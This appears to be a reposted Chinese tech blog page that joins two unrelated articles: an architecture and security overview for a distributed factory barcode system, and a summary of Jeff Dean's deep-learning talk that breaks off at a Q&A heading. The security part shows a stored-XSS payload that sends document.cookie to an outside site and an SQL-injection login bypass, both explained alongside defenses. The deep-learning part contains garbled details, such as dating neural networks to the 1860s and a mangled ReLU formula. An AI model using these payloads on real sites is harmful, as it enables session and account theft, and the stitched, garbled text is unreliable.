上图是为某公司的一个分散型系统做的架构设计,这家公司拥有多个跨市、跨省的生产片区,在各片区都有自己的生态车间,各片区与总公司之间通过数据链路连接。这个系统的特点是所有的流水线上的产品都贴有唯一的条码,在生产线的某个操作位操作之前都会扫描贴在产品上的条码,系统会根据条码做一些检查工作,如:产品条码是否应被使用过(比如之前应发货给客户过)、产品是否完成了本道工序之前的全部必须完成工序,如果满足条件则记录当前操作工序名称、操作人、操作时间和操作结果等。

一件产品从上线到完成有数十道工序,而每月下线的产品有少则数十万、多则数百万,一个月下来的数据量也是不小的。特别是在跨厂区网络不稳定的情况下如何保证对生产的影响最小。

本系统架构特点:

  • 所有业务逻辑集中在服务器端,并以Service形式提供,这样便于业务逻辑调整客户端能及时得到最新更新;
  • 部署Service的服务器采用集群部署,Nginx实现调度;
  • NoSQL采用了Redis,与Memcached相比,Redis支持的数据类型更多,同时Redis带有持久化功能,可以将每个条码对应的产品的最终信息存储在Redis当中,这样一般的查询工作(如条码是否被使用、产品当前状态)都可以在Redis中查询而不是数据库查询,这样大大减轻了数据库压力;
  • 数据库采用了主从机制,实现了读写分离,也是为了提高响应速度;
  • 使用了消息队列MQ和ETL,将一些可以异步处理的动作存放在MQ中,然后由ETL来执行(比如订单完成后以邮件形式通知相关人员);
  • 实现了系统监控,通过Zabbix来对服务器、应用及网络关键设备实行7×24小时监控,重大异常及时邮件通知IT支持人员。

由于总部其它地方生产规模较小,所以生产分布未采用复杂架构,不过因为从客户处退回的不良产品都会在总部生产车间进行返修处理,因此总部生产系统需要保存分部生产车间数据,因此分部生产车间数据会同时写进分部生产数据库和分部MQ服务器,然后由总部ETL服务器读取写入到总部系统中。在分部与总部网络中断的情况下分部系统仍可独立工作,直到网络恢复。

二、系统质量保证

1、单元测试

单元测试是指对软件中的最小可测试单元进行检查和验证。通常而言,一个单元测试是用于判断某个特定条件(或者场景)下某个特定函数的行为,常见的开发语言都有对应的单元测试框架,常见的单元测试工具:Junit/Nunit/xUnit.Net/Microsoft.VisualStudio.TestTool

关于单元测试的重要性和如何编写单元测试用例,在本篇就不详述了,网上有大量相关的文章。总之,越大型的系统、越重要的系统,单元测试的重要性越大。

针对一些需要外部依赖的单元测试,比如需要Web容器等,可以使用mock测试,Java测试人员可以使用EasyMock这个测试框架,其网址是http://easymock.org/。

2、代码质量管理平台


对于多人参与的团队项目,虽然大多数情况下会有编码规范拉指导大家如何编写团队风格一致的编码,但不能保证团队中每个成员、尤其是后期加入的团队成员仍能按照编码规范来编写代码,因此需要有一个平台来保证,在这里推荐SonarQube。

SonarQube是一个开源平台,用于管理源代码的质量。Sonar不只是一个质量数据报告工具,更是代码质量管理平台。支持的语言包括:Java、PHP、C#、C、Cobol、PL/SQL、Flex 等。

主要特点:

  • 代码覆盖:通过单元测试,将会显示哪行代码被选中
  • 改善编码规则
  • 搜寻编码规则:按照名字,插件,激活级别和类别进行查询
  • 项目搜寻:按照项目的名字进行查询
  • 对比数据:比较同一张表中的任何测量的趋势

代码

当然除了代码质量管理平台外,还有借助源代码管理系统,并且在每次提交代码前进行代码审核,这样每次代码的异动都可以追溯出来。我管理和经历过的一些重要系统中采用过这样的做法:除了管理所有程序代码之外,还将系统中数据库中的表、视图、函数及存储过程的创建都使用源代码版本管理工具管控起来,而且粒度很小,每个对象的创建都是一个SQL文件。这种方式虽然操作起来有些琐碎,但对于代码的变迁追溯非常方便。

三、系统性能保证

1、缓存


所谓缓存就是将一些频繁使用、但改动相对不平凡的数据保存在内存中,每次更新这些数据的时候同时持久化到数据库或文件系统,并同步更新到缓存中,查询的时候尽可能利用缓存。

缓存的实现方法:自定义实现或利用NoSQL。

  • 自定义实现

自定义实现可利用SDK中提供的类,如Dictionary等。

优点:可以局部提高查询效率;
缺点:不能跨应用、跨服务器,仅限于单个应用;没有较好缓存生命周期管理策略。

  • NoSQL

Memcached

优点:可以跨应用、跨服务器,有灵活的生命周期管理策略;支持高并发;支持分布式。
缺点:不支持持久化,仅在内存存储,重启后数据丢失,需要“热加载”;仅支持Key/Value。

Redis

优点:可以跨应用、跨服务器,有灵活的生命周期管理策略;支持高并发;支持集群;支持持久化;支持Key/Value、List、Set、Hash数据结构;

以上几种方法都存在一个特点:需要通过Key去寻找对应的Value、List、Set或Hash。

除了Memcached和Redis之外,还出现了一些NoSQL数据库和支持NoSQL的数据库,前者如MongoDB,后者如PostgreSQL(>V9.4),下面是一个MongoDB与PostgreSQL的NoSQL特性的对比:

Redis

文档型NoSQL数据库的特点:

  • 不定义表结构

即使不定义表结构,也可以像定义了表结构一样使用,还省去了变更表结构的麻烦。

  • 可以使用复杂的查询条件 


跟键值存储不同的是,面向文档的数据库可以通过复杂的查询条件来获取数据,虽然不具备事务处理和Join这些关系型数据库所具有的处理能力,但初次以外的其他处理基本上都能实现。

NoSQL主要是提高效率,关系数据库可以保证数据安全;各有使用场景,一般的企业管理系统,没多少并发量没必要使用NoSQL,互联网项目或要求并发的NoSQL使用比较多,但是最终重要的数据还是要保存到关系数据库。这也是为什么很多公司会同时使用NoSQL和关系型数据库的原因。

2、异步


所谓异步就是调用一个方法后并不等该方法执行完毕后再继续执行后续的操作,而是调用完毕后马上等待用户的其它指令。打印机管理程序就是一个异步的例子,某个人可能有几个数百页的文档需要打印,可以在打开一个文档之后点击打印,然后继续打开另一个文档继续点打印。尽管打印数百页文档需要较长时间,但后续的打印请求会在打印管理程序中排队,等第一个文档打印完成后再继续第二个文档的打印。

异步有两个层面:编程语言层面的异步和通过消息队列等机制实现的异步。

语法层面异步:像Java/C#等大多数语言都支持异步处理。

  • 消息队列实现异步

用消息队列实现异步只是消息队列的一个基本功能之一,消息队列还具有如下功能:

  • 解耦
  • 灵活性 & 峰值处理能力
  • 可恢复性
  • 送达保证
  • 排序保证
  • 缓冲
  • 理解数据流
  • 异步通信

注:消息队列成为在进程或应用之间进行通信的最好形式。消息队列队列是创建强大的分布式应用的关键。

常用消息队列有如下,可根据系统特点和运维支持团队的掌握程度选择:

  • MSMQ
  • ActiveMQ
  • RabbitMQ
  • ZeroMQ
  • Kafka
  • MetaMQ
  • RocketMQ

3、负载均衡


负载均衡是根据某种负载策略把请求分发到集群中的每一台服务器上,让整个服务器群来处理网站的请求。

常见负载均衡方案

Windows负载均衡:NLB
Linux负载均衡:LVS
Web负载均衡:Nginx
硬件级负载均衡:F5

前面几种都是免费的解决方案,F5作为一种硬件及解决方案在一般企业很少用到。我目前知道的仅有一家世界级饮料公司使用了F5作为负载均衡解决方案,因为这个方案据说相当昂贵。

4、读写分离


读写分离为了确保数据库产品的稳定性,很多数据库拥有双机热备功能。

也就是,第一台数据库服务器,是对外提供增删改业务的生产服务器;第二台数据库服务器,主要进行读的操作。

原理:让主数据库(master)处理事务性增、改、删操作(INSERT、UPDATE、DELETE),而从数据库(slave)处理SELECT查询操作。

一般情况下我们是在代码中进行处理,但目前也有不少商业中间件形式的读写分离中间件,能自动将读写数据库操作调度到不同数据库上。

数据库

在大型系统中,有时候主、从数据库都是一个集群,这样可以保证响应速度更快,同时集群中单台服务器故障也不影响整个系统对外的响应。

四、系统安全性保证

1、XSS攻击

  • 防范XSS攻击

XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

  • DOM Based XSS

DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

  • Stored XSS

Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。假如有两个页面,一个负责提交内容,一个负责将提交的内容(论坛发帖、读帖就是这种形式的典型):

提交内容:<script>window.open(“www.b.com?param=”+document.cookie)</script>
页面内容:<%=request.getParameter(“content”)%>

这样用户在a站提交的东西,在显示的时候如果不加以处理就会打开b站页面将相关敏感内容显示出来。

针对XSS攻击的防范办法:

Html encode
特殊字符过滤:<,>

2、SQL注入

  • SQL Injection

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

例如我们在登录一个系统时,在软件底层按照如下方式查询数据:

登录SQL语句:

SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456‘
SELECT COUNT(*) FROM Login
WHERE UserName=’admin’–
Password=’123′

SQL

针对SQL注入防范办法:

  • 数据输入验证
  • 特殊字符过滤:特殊字符过滤
  • 参数化SQL语句(包括存储过程)
  • 不使用sa级别账户作为连接账户或限制连接IP

3、CSRF攻击


CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

其核心策略是利用了浏览器Cookie或者服务器Session策略,盗取用户身份。
针对CSRF攻击防范办法:

  • 表单Token
  • 验证码
  • Referer检查
  • 关键操作身份确认

4、其它攻击


Error Code:即错误代码回显,许多Web服务器为调试方便默认显示详尽错误信息,如错误发生的上下文、服务器及应用信息等,容易被恶意利用。

系统或者框架漏洞:如IIS6.0以下版本存在“JPG漏洞”;Apache Struts2服务在开启动态方法调用任意方法漏洞(CVE-2016-3081);OpenSSL的heartbeat漏洞(CVE-2014-0160);Apache解析漏洞;Nginx(<V0.8.37)空字节代码执行漏洞;IIS7.0及Nginx(<V0.8.37)畸形解析漏洞;文件上传漏洞;路径遍历漏洞;
防范办法:

  • 上传文件时对MIME进行检查,必要情况下对上传文件更名
  • 及时关注安全网站及产品官方网站,发现漏洞及时打补丁
  • 对Web Server运用的用户角色权限进行限制
  • 使用漏洞扫描工具模拟攻击

下面是一些我见过的被攻击后的系统截图,如下图是CCTV音乐频道被攻击的截图:

还有本人2008年前后搭建PHPWind运行的画面:

PHPWind

上图中是本人2006年前后搭建的一个论坛,有人利用系统漏洞注册了很多用户名为空的用户(其实是身份遗失),,然后又利用这些账户在论坛中大量发布广告、色情等违法违纪的帖子,因为使用了一些不可见字符进行注册的,在后台无法管理,最后只好在数据库中操作管理了。

五、开发相关的经验教训

1、应用日志记录

以前团队运维着一个老系统,系统中没有日志功能,而系统的操作人员的计算机水平又较低,每次打电话都是说系统不能用或者是一些根本无法快速定位原因的描述,每次接到求助后需要花费大量时间来分析定位原因,后来将系统中增加了日志功能,并且在网络状态连通情况下可自动将错误日志以邮件形式发送到负责同事组成的用户组,自此以后处理这类问题的响应时间大大缩短了,双方都很满意。

现在已经有很多开源日志库,比如.NET的Log4Net,Java的Log4j,可以很轻松地配置启用日志功能。利用日志组件可以将信息记录到文件或数据库,便于发现问题时根据上下文环境发现问题,这一点在调试多线程时尤其重要。

日志级别:FATAL(致命错误)、ERROR(一般错误)、WARN(警告)、INFO(一般信息)、DEBUG(调试信息)。

注意:在调试环境中时日志级别尽量低(warn/info),在生产环境中日志级别尽量高(error),且对日志文件大小一定要进行控制。不然也会产生问题。

案例:某国内有名的管业集团公司的一个系统的重要模块发生问题,启用了日志功能以便通过日志组件快速将问题定位并修复。在发布到生产环境时,运行一段时间之后发现程序运行效率相当低下,多位开发人员对模块代码进行性能分析未发现问题,大家发现同样的数据量和操作在生产环境和开发环境效率差巨大,无意中发现生产服务器上日志文件已超过5G!事后发现是由于疏忽未调高日志级别且未对日志进行控制,调整日志模式为按日记录,问题解除。

参考:《log4net使用详解》 http://blog.csdn.net/zhoufoxcn/article/details/222053

2、历史记录追踪

  • 代码管控

尽可能使用代码管控工具对源代码进行管控,如SVN/TFS/Git,如果有可能不但管控程序代码,还要管控数据库相关的SQL文件(包括初始化脚本及存储过程和使用ORM框架中的Mapping文件),做到系统的一切变动皆有记录。

  • 代码审核

任何人提交代码都必须本人本地编译、调试无误后,再有人review后方可提交,且针对bug修复的提交需注明所修复的bug信息。

  • Bug记录

通过Bug记录系统记录整个bug的生命周期,包括发现、修复、关闭。TFS本身支持bug记录,开源系统中禅道也是一个不错的Bug记录工具。

六、总结

本篇主要是就系统从开发到最终部署运维过程中常用的技术、框架和方法做了一个总结,当然以上经验总结来源于本人从业以来所经历的项目中的经验和教训,可能还有更好更完美的方案,在此权当抛砖引玉

from:http://www.yunweipai.com/archives/22697.html

谷歌大神Jeff Dean:大规模深度学习最新进展

在AlphaGo与李世石比赛期间,谷歌天才工程师Jeff Dean在Google Campus汉城校区做了一次关于智能计算机系统的大规模深度学习(Large-Scale Deep Learning for Intelligent Computer Systems)的演讲。本文是对他这次演讲的总结。完整演讲视频(如下):

如果你无法理解信息里包含的内容,那么就会很难将其组织起来。

自从AlphaGo与李世石的比赛——这是约翰·亨利对战蒸汽锤的现代版本——吸引了全世界,再次滋生了对「人工智能毁灭世界」的恐惧感,似乎此时一睹Jeff的演讲是绝佳时刻。如果你认为AlphaGo现在很好,就等待它的beta版本吧。

Jeff当然提到了谷歌的著名语录:组织这个世界的信息,使信息唾手可得并变得有用。

过去,我们可能会将「组织」和收集、清除、存储、索引、报告和搜索数据联系起来。所有这些都是谷歌早期精通的业务。而这些任务完成后,谷歌已经开始进行下一项挑战了。

现在,组织意味着理解。

此次演讲的一些重点:

真正的神经网络由几亿个参数组成。谷歌现在所拥有的技能在于如何建造并快速训练这些大型模型来处理大量数据集,并用它们去解决实际问题,之后快速将这些模型部署到不同平台上的大量产品中(手机、传感器、云等等)。

神经网络在90年代没有得到快速发展是由于缺乏足够的计算能力和大型的数据集。你能看到谷歌对算法的天然热爱是如何与他们的大量基础设施结合到一起的,也能看到不断扩大的数据集如何为谷歌的人工智能创造了完美的推动。

谷歌和其他公司的一个关键区别就在于,当他们在2011年启动谷歌大脑计划时,他们并没有将他们的研究独立成该公司一个单独的研究部门,成为象牙塔一般的存在。而是项目团队和其他团队紧密合作,比如安卓、Gmail 和photo等部门,以确实改进它们的特性,解决困难的问题。这对每一家公司来说都是非常珍贵的一刻。通过和你的人一起工作将研究进行实际应用。

这一想法十分强大:他们知道他们能够获取完整的子系统,有些可能是机器学习到的,用更加通用的端对端的机器学习块进行替换。通常当你有很多复杂的子系统时,总会有很多复杂的代码将这些系统拼接起来。如果能够用数据和非常简单的算法将这一切进行替换的话就再好不过了。

机器学习很快将会变得更好。引用Jeff的话说:机器学习领域的发展非常快。一篇论文发布出来,一周内全球众多研究团体会下载这篇论文,阅读、解析论文,验证论文的内容,然后把自己对论文的延展发布到arXiv.org上。这与计算机学的其他领域不同,他们首先需要提交文件,而后六个月会议讨论决定是否接收,再过三个月会议上才会有结果。这就耗费了一年时间。电子论文能把这个时间压缩到一周是非常惊人的。

技术能够非常神奇的结合起来。谷歌翻译团队写了一个APP,能够使用计算机视觉在取景器上识别文本。在翻译完文本后,可以把翻译后的内容自动添加到图片上。另外一个例子是写图片字幕。把图片识别和一序列一序列的神经网络结合起来。可以想象,这些模块化的内容在未来将何等紧密的结合起来。

有强大功能的模型要小到足以在智能手机上运行。科技想要想取代智力必须走到这一步。它不能依靠网络连接外部的「云大脑」。既然TensorFlow模型能够在手机上运行,那这一点是有可能实现的。

如果你还没有思考深度神经网络如何解决数据理解问题,那你就要开始思考了。这条起始线从现在开始,但它的实现是非常明了的,我们看到了很多难题在深度学习网络面前都迎刃而解。

Jeff 发表的讲话都非常的棒,这次毫不例外。内容非常直接有趣,有深度,还非常容易理解。如果你想了解深度学习或了解Googel打算做什么,这些内容就值得一看了。

理解意味着什么?

当一个人看到街道景象时,他能轻而易举地挑选出图片上的文本,了解到有的商店卖纪念品,有家店价格特别低等信息。但直到现在,计算机依然不能从图片中提取出这些信息。

170007kiymh23gx8zg28i7.jpg

如果计算机想要从图片中了解现实世界,它需要能够从中挑选出有趣的信息点,阅读文本并理解它。

在未来,小型移动设备将主宰着计算机交互。这些设备都需要不同类型的界面。需要真的能够理解并生成对话。

我们在搜索引擎中输入:[汽车零部件]。旧的谷歌版本会因为关键词匹配给你第一条结果,但更好的结果其实是第二个结果。真正的理解是这个问题深层次的意义是什么,并非字眼的表面意义。这才是构建好的搜索与语言理解产品所需要的。

170008plfww7fk2woqw75o.jpg

谷歌深度神经网络小历史

谷歌大脑计划于2011年启动,聚焦于真正推动神经网络科学能达到的最先进的技术。

神经网络已经存在很多年了,出现于19世纪60年代至70年代之间,在80年代晚期和90年代早期红极一时,然后逐渐暗淡。主要因为两个问题:1)缺乏必备的计算能力去训练大量的模型,这意味着神经网络不能应用于包含大量有趣的数据集的大型问题。2)缺乏大量的有趣的数据集。

谷歌开始只有几个产品团队工作。随着这些团队发布一些很好的、能解决以前不能解决的问题的产品。名声渐起,很快,更多的团队加入其中帮助解决问题。

谷歌需要利用深度学习技术的产品/领域:安卓,Apps,药物发现,谷歌邮箱,图像理解,地图,自然语言,图片,机器人,语音翻译,等等。

深度学习能应用于如此完全不同的项目的原因是他们涉及相同的基石,这些基石可用于不同的领域:语音、文本、搜索查询、图像、视频、标签、实体(一种特定的软件模块)、文字、音频特性。你可以输入一种类型的信息,决定你想要输出信息类型,收集训练数据集指示出你想要计算的功能。然后,你可以放手不管了。

这些模型十分奏效,因为你输入的是非常原始的数据。你不必给出数据大量的有趣特点,模型的力量足以让它自动地通过观察许多许多例子决定数据集的有趣之处。

你可以学习常见的表征,这种学习很可能是跨领域的。例如,一辆『汽车』可以指图像中与真实相同的汽车。

他们已经学到他们可以聚集一大堆的子系统,其中一些可能是由机器学习的,然后用更通用的端对端的机器学习块代替它。通常当你有很多复杂的子系统时,往往有大量复杂的代码将这些子系统缝结在一起。如果你能用数据和简单的算法代替所有复杂代码,那就太好了。

什么是单个深度神经网络?

神经网络从数据中学习真正复杂的函数。从一端输入内容转换成另一端的输出内容。

这一函数不像计算x2,而是真正复杂的函数。当你输入原始像素,比如一只猫是,输出结果就会是事物的类别。

170050i80a2do1o3zy80yg.png

深度学习中的「深度」是指神经网络的层的数量。

对于深度,一个好的属性是系统是由简单的可训练的数学函数的集合构成的。

深度神经网络与大量机器学习方式是兼容的。

例如,你输入猫的图片,输出的是一张人为标注为猫的图像,这叫作监督式学习。你可以给系统列举大量的监督式样例,并且将学习结合一个函数,这个函数与在监督式例子所描述的是相似的。

你也可以进行非监督式训练,你只得到图像而不知道图像里面的什么。然后系统可以依靠在众多图片中出现的模式学会挑选。所以,即使不知道图像叫作什么,它也可以在所有这些有猫的图形辨别出共同的事物来。

这也和更多像强化学习这样的外来技术是兼容的。强化学习是非常重要的技术,它正在被AlphaGo使用。

什么是深度学习?

神经网络模型可以说是基于我们所认识的大脑运作的方式,它并不是对神经元真正工作的详细模拟,而是一个简单抽象的神经元版本。

170008hwjxwajxw66wawwm.jpg

一个神经元能够接收许多输入信息,真实的神经元会将不同的优势(strengths)与不同的输入相联系。人工智能网络试着学习为所有那些边缘,亦即与这些不同输入关联的优势进行加权。

真实的神经元吸收一些输入与优势的组合,并决定是否发出一个脉冲。人工神经元不仅仅会发出脉冲,还会发出一个实数值。这些神经元计算的函数是输入的加权求和乘以非线性函数的权重。

现今通常所用的非线性函数是ReLU(max(0,x))。在上世纪九十年代,大部分非线性函数都是更加平滑 (https://www.quora.com/What-is-special-about-rectifier-neural-units-used-in-NN-learning)的 sigmoid或tanh函数。当神经元不放电的时候会取真正的零值,而不是非常接近零的数值的优秀特性,从而帮助优化系统。

例如,如果神经元有着三个输入X1,X2,X3,分别有着0.21,0.3,0.7的权重,那么计算函数将为:y = max(0, -.0.21*x1 + 0.3*x2 + 0.7*x3)。

在识别图片里是一只猫还是一只狗的过程中,图像会经过多层级处理,基于它们的输入神经元可以决定是否发射脉冲。

170008mv90e91mit1zwtm1.jpg

最底层的神经元只处理一小部分像素,更高层的神经元则会处理下层神经元的输出并决定是否发射脉冲。

模型会如此向上直至最后一层处理完毕,举个例子,这是一只猫。在这种情况下它错了,这是一只狗(尽管我也认为那是一只猫,那是一只在篮子里的狗吗?)。

输出错误的信号会反馈回系统中,接着其余模型会做出调整以让它在下一次处理图片时更有可能给出正确的答案。

调整整个模型所有的边缘权重以增大获得正确结果的可能性,这就是神经网络的目标。人们在所有的样本都如此处理,这样在大部分的样本中都会得到正确的输出。

学习算法非常简单。循环计算步骤如下:

随机选择一个训练样本「(输入,标签)」。例如,一张猫的图片,以及预期输出「猫」。

用「输入」运行神经网络,并观察它的结果。

调整边缘权重,让输出更接近与标签」。

该如何调整边缘权重以让输出接近标签呢?

反向传播法:这里是一篇针对此的推荐文章:Calculus on Computational Graphs: Backpropagation (http://colah.github.io/posts/2015-08-Backprop/)。

当神经网顶层选择的是猫而不是狗的时候,通过微积分链式法则来调整权重参数使得网络可以做更准确的预测。

170008znz6akknu8k6v7as.jpg

你需要和权重的箭头保持同一方向,让它更有可能认为这是一只狗。不要跳一大步,因为这可是一个复杂坎坷的表面。小步前进会让结果在下一次更有可能变成狗。通过大量迭代以及对样本的观察,结果就越有可能变成狗。

通过链式法则你可以理解底层的参数变化会如何影响输出。这意味着神经网络网络的变化如同涟漪般波及至输入,调整整个模型,并增大它说出狗的可能性。

真的神经网络由数以亿计参数组成,因此你正在一个亿维空间内做调整,并试着理解那是怎样影响网络输出结果的。

神经网络的很多优秀特性

神经网络可以运用到多个不同领域,用来解决不同的问题:

文本:英语和其他语言包含数万亿的单词。现有很多对应的文字资料,包含句与句对应的一种源语言文字与其翻译版的另一种语言文字。

视觉数据:数十亿的图像和视频。

声音:每天会产生几万小时的音频数据;

用户行为:不同的应用程序都在产生数据,无论你在搜索引擎敲下的字符还是在邮箱里标记的垃圾邮件,这些用户行为里可以不断被学习,并用来给你「定制」智能系统。

知识图谱:数十亿打标签的RDF triple数据。

你给的数据越多,其反馈的结果越好,你也会让这个模型更大。

如果你投入更多的数据却不去扩大你的模型,会进入一个模型能力的饱和状态,此时,模型学习到的只是关于你的数据集最显而易见的事实。

通过增加模型的规模,模型不仅可以记住一些明显的特征,还会记住一些只是偶然在数据集中出现的细微特征。

打造更大的模型需要更多数据和更强大的计算能力。谷歌一直在做的就是如何规模化计算量并投入到这些问题的解决中,从而训练更大的模型。

深度学习给谷歌带来哪些影响?

语音识别

语音识别团队第一个和谷歌大脑团队合作部署神经网络。在谷歌大脑团队帮助下,部署上线了一个新的、基于神经网络的语音模型,不再使用之前的隐马尔科夫模型。

声学模型的问题是从150毫秒的语音里预测其中10毫秒的声音是什么。类似与「ba」还是「ka」。接着你有了这些预测的完整序列,然后将它们和语言模型对接起来,以理解用户在说什么。

这个模型将识别错误率降低了30%,意义非常重大。此后语音团队继续在构建更加复杂的模型,并结合更好的神经网络降低错误率。现在你在手机上说话,语音识别已经比三到五年前好太多了。

Image 挑战赛

大约六年前, ImageNet的数据库公开,大约有100万图像数据,这个巨大的图像数据库对于推进计算机视觉的发展意义重大。

图像被分为1000个不同种类,每个种类大约1000张照片;

大约有1000张不同的豹子照片、1000张不同的汽车、滑板车照片等等;

其中有个复杂的因素:并非所有的标签都是正确的;

比赛的目标是概括出照片的新的类型。对于一张新照片,你能判断出来上面是猎豹还是樱桃吗?

在神经网络运用到比赛之前,这项比赛的错误率为26℅。2014年,谷歌赢得比赛时的错误率为6.66%。2015年的时候,获胜团队的错误率降低到3.46%。

这是一个巨大而且有深度的模型。每个盒子都布满了完整层级的神经元,它们正在进行卷积运算,关于这方面的详细情况,可以查看这篇论文《Going Deeper with Convolutions》

170008vm9rb9h9j5jqabzi.jpg

一个名叫 Andrej Karpathy 的人也参与了比赛,他的错误率是5.1%,他后来还写了篇文章《What I learned from competing against a ConvNet on ImageNet.》

神经网络模型擅长什么?

神经网络模型非常擅长识别精细程度的差别。比如,计算机擅长辨别人类不善于分辨的犬种。人类可能看到一朵花就只知道那是一朵花,计算机可以分辨那是一朵「芙蓉」或是一朵「大丽花」。

神经网络模型擅长归纳。比如不同种类的饭菜,尽管看起来不一样,但都会被标记为「饭菜」。

当计算机出错时,错误的原因是合理的。比如一只蛞蝓看起来很像一条蛇。

谷歌照片搜索

检查照片的像素并理解图像中的内容,这是个很强大的能力。

Google Photos 团队在没有标记它们的情况下部署了这一能力。你可以在没有标记图片的情况下搜索到雕像、尤达、图画、水等图片。

街景影像

在街景影像中,你希望可以阅读到所有的文本。这是更为精细更为具体的视觉任务。

首先需要能够找到图像中的文本。模型基本上都是被训练用来预测像素热图的:哪些像素包含文本,哪些不包含。训练数据是绘制于文本像素周围的多边形。

因为训练数据包含不同的字符集,它可以找到多种不同语言的文本。它可以识别大字体和小字体,离镜头近的和离得很远的文字,以及不同颜色的文本。

这是一个训练相对简单的模型。这是一个试图预测每个像素是否包含文本的传统的网络。

谷歌搜索排名的RankBrain

RankBrain于2015年推出,是谷歌第三重要的搜索排名因素。了解更多:谷歌将其利润丰厚的网络搜索交给人工智能机器。

搜索排名是不同的,因为你想要能够理解该模型,你想理解为什么它会做出特定的决策。

这是搜索排名团队犹豫在搜索排名中使用神经网络的一个原因。当系统出错时,他们希望了解什么会这样。

调试工具已被制造出来,而且模型也能被充分地理解,以克服这种异议。

一般来说你不想手动调整参数。你尝试理解为什么模型会做出那样的预测并搞清楚是否与训练数据相关,是与问题不匹配吗?你可能在一个分布式数据上进行训练,然后将其应用于另一个。通过搜索查询的分布,模型每天都能获得一点改变。因为事件在改变,模型也一直在改变。你必须了解你的分布是否是稳定的,比如在语音识别中,人们的声音并不会发生太大改变。查询和文档内容经常在改变,所以你必须确保你的模型是新鲜的。更一般地,我们需要打造更好的用于理解这些神经网络内部状况的工具,搞清楚是什么得出了预测。

序列至序列(Sequence-to-Sequence)映射模型

世界上许多问题都可归入到一个序列映射到另一个序列的框架中。谷歌的Sutskever、Vinyals 和 Le 在这个主题上写了一篇开关性的论文:使用神经网络的序列到序列学习 (http://papers.nips.cc/paper/5346-sequence-to-sequence-learning-with-neural-networks.pdf)。

特别地,他们研究了语言翻译,将英语翻译成法语中的问题。翻译事实上只是将英语句子序列映射到法语句子序列。

神经网络非常擅长学习非常复杂的功能,所以这个模型学习了映射英语句子到法语句子的功能。

170009nfzopeod6jkhp6pr.jpg

一种语言的一个句子通过EOS(end of sentence)信号一次输入一个词。当模型看到EOS 开始产出其它语言对应的句子时,模型就得到了训练。训练数据是具有同样含义的不同语言中的配对句子。它只是试图该函数建模。

模型会在每一步发出你的词汇中所有词条输入的概率分布。在推理而不是训练时间,你需要做一点搜索。如果你必须最大化每个词的概率,你并不一定会得到最可能的句子。直到找到最大可能的句子,联合概率的搜索才完成。

该系统是现在公共翻译服务中最先进的。其它翻译系统是一堆手写的代码或这个翻译问题的子块的机器学习模型,而非完全的端到端学习系统。

人们对这一模型的兴趣在暴增,因为很多问题都可被映射到序列到序列的方法。

智能回复(Smart Reply)

Smart Reply是序列到序列在产品中的一个应用案例。在手机上,你希望快速回复邮件,而打字又让人痛苦。

和 Gmail 团队合作,他们开发了一个能预测一条信息可能的回复的系统。

第一步是训练一个小模型以预测一条信息是否是可以快速回复的信息。如果是,就会激活一个更大的计算上更昂贵的模型;该模型将该信息作为一个序列,并尝试预测回复的单词序列。

比如,对于一封询问感恩节邀请的电子邮件,可预测到的回复有三个:把我们算上;我们会去;抱歉我们去不了。

Inbox 应用中惊人数量的回复都是通过 Smart Reply 生成的。

图片说明

生成一张图片说明时,你会试着让机器尽可能写出类似人类基于图片会做出的说明。

采用已经开发出来的图片模型,以及已经研发出来的Sequence-to-Sequence模型,把它们插在一起。图片模型被用作输入。

它被训练用来生成说明。训练数据集拥有五种不同的人给出的五种不同说明的图片。10万到20万的图片需要写70万句的说明。

一张婴儿怀抱泰迪熊的图片,电脑这么写的:一个抱着填充玩具动物孩子的特写;一个婴儿在泰迪熊旁边睡着了。

还没有达到人类理解水平,但机器出错时,结果可能会有趣。

综合视觉+翻译

技术能够综合起来。翻译团队编写了使用了在取景器中识别文本的计算机视觉APP。翻译文本,然后给图片叠加翻译文本(让人印象非常深刻,约37;29)。

模型足够小,整个计算都在设备上运行。

迭代(turnaround)时间和对研究的影响

在一天内完成单个CPU花费6周才能完成的训练

谷歌真的关心能够快速迭代研究。它的想法是快速的训练模型。理解什么运行良好,什么运行欠佳,找出下一组要运行的实验。

一个模型应该在在几分钟几小时内就能可训练,而不是几天甚至几个礼拜。让每个做这类研究的人更加富有生产力。

如何快速训练模型?

模型的并行性

一个神经网络有许多内在的并行性。

所有不同的个体神经元几乎都是彼此独立的,当你计算它们时,特别是,加入你有Local Receptive Fields,这是一个神经元从其下方少量神经元那里接受输入的地方。

能够跨越不同GPU卡上的不同机器对工作进行划分,只有跨越边界的数据才需要交流。

170010ll6vm9qjd2q96doh.jpg

数据的并行性

当你对模型的参数集进行优化时,不应该在中央服务的一台机器上进行,这样你就有不同的模型副本,通过它们之间的合作来进行参数优化。

在训练中理解不同的随机数据片段。每一个副本都会获得模型中当前的参数集,通过对相当规模数据的理解来判断出梯度,找出需要对参数所作的调整,并且将调整值发回至中央参数集服务器。参数服务器会对参数进行调整。不断重复这个过程。

这会在多个副本之间完成。有时他们会使用500台机器来生成500个模型副本,以便迅速实现参数的优化和处理数据。

这个过程可以异步进行,每个数据分任务在各自独自的循环运算中,获取参数,计算梯度并将它们传回,不会受到其他彼此的控制和同步。结果是,按照50-100的副本规模进行练习,对许多模型来说是可行的。

Q&A

